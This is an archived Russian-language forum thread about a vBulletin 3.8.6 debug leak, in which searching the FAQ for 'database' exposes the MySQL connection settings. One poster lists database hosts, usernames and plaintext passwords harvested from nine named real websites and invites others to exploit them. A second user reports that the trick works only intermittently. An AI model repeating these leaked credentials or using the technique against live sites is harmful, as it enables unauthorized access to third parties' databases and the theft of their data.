PDA

Просмотр полной версии : show me database config by vbulletin 3.8.6


4upakabr0
24.07.2010, 04:10
В популярном движке для форумов vBulletin нашли интересную уязвимость — при вводе в поиске на странице FAQ слова «database» на экран выводится вся информация о подключения к MySQL серверу.

Проблему устранили в vBulletin версии 3.8.6-PL1.

Если верить разработчикам — данный баг был просто недосмотром, из движка забыли убрать часть дебаг-кода.

Habr (c) (http://habrahabr.ru/blogs/infosecurity/100035/)

4upakabr0
24.07.2010, 04:16
Вот что успел напарсить гуглом, мб кто выжмет что интересного:


Code:
www.moby-fix.co.uk/forum/
Database Name: mobyfixc_termy2k
Database Host: localhost
Database Port: 3306
Database Username: mobyfixc_termy2k
Database Password: h#*+f7ZfChl_

dartfrogconnection.com/vforum/
Database Name: dartfrog_vforum
Database Host: localhost
Database Port: 3306
Database Username: dartfrog_taisav
Database Password: capo2009

forum.sssolutions.net/
Database Name: sssnet_sss
Database Host: localhost
Database Port: 3306
Database Username: sssnet_sssdb
Database Password: laserverpass

expat.ru/forum
Database Name: expat_forum
Database Host: localhost
Database Port: 3306
Database Username: expat_admin
Database Password: park745

www.fanbolt.com/forums
Database Name: fanbolt_vb3
Database Host: localhost
Database Port: 3306
Database Username: fanbolt_fbforums
Database Password: EmmaATLAndy1105

www.kisekistudios.com
Database Name: kisekist_forum
Database Host: localhost
Database Port: 3306
Database Username: kisekist_admin
Database Password: yagami04

www.efooty.com
Database Name: vbulletinefooty
Database Host: p41mysql83.secureserver.net
Database Port: 3306
Database Username: vbulletinefooty
Database Password: Bestia123

www.raidersmerciless.com
Database Name: vforum
Database Host: localhost
Database Port: 3306
Database Username: root
Database Password: 03einstein72

www.skinnermania.com
Database Name: Sql185132_1
Database Host: 62.149.150.73
Database Port: 3306
Database Username: Sql185132
Database Password: Z6Y.2UuZ

Ershik
24.07.2010, 23:25
Работает через раз.

Похоже, только на оригинальных стилях.